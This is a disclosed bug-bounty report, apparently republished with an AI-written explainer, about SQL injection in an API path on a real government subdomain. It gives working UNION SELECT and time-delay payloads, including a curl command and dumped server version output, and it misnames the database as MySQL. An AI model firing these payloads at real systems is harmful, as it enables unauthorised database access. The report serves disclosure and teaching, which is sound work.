SQL Injection on https://soa-accp.glbx.tva.gov/ via "/api/" path - VI-21-015
The /api/ path on a subdomain was vulnerable to SQL injection, allowing an attacker to execute arbitrary SQL queries. The attacker could extract database information such as the hostname and version.
Originally disclosed on HackerOne
- Triaged in 8 hours
- Fixed in 17 days
- Disclosed after 13 months
Summary:
i've found this subdomain soa-accp.glbx.tva.gov also is vulnerable to SQLI through /api/ path
Steps To Reproduce:
https://soa-accp.glbx.tva.gov/api/river/observed-data/GVDA1'+%2f*!50000union*%2f+SELECT+HOST_NAME()--+- hostname dumped
https://soa-accp.glbx.tva.gov/api/river/observed-data/GVDA1'+%2f*!50000union*%2f+SELECT+@@version--+-
Microsoft SQL Server 2017 (RTM-CU22-GDR) (KB4583457) - 14.0.3370.1 (X64) \n\tNov 6 2020 18:19:52 \n\tCopyright (C) 2017 Microsoft Corporation\n\tEnterprise Edition (64-bit) on Windows Server 2012 R2 Standard 6.3 <X64> (Build 9600: ) (Hypervisor)\n
also you can retest it through time bassed trick
time curl -k "https://soa-accp.glbx.tva.gov/api/river/observed-data/-GVDA1'+WAITFOR+DELAY+'0:0:10'--+-"

Impact
An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application concatenated user input directly into SQL queries without parameterisation or input validation.
Impact
An attacker could manipulate SQL statements to change query logic and potentially access or alter database data.
What the attacker needed
None
How it was found
- Send a crafted request to the /api/river/observed-data/ endpoint with a payload that includes a UNION SELECT to retrieve the hostname.
- Send a similar request with a payload that includes a UNION SELECT to retrieve the database version.
- Optionally, send a request with a time-delay payload to confirm the injection via response timing.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted directly into a database query without proper handling, letting an attacker change the query's meaning. Here, the API endpoint took a parameter and passed it to the database unsafely, so the attacker could add extra SQL commands to retrieve data like the server's hostname and database version.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.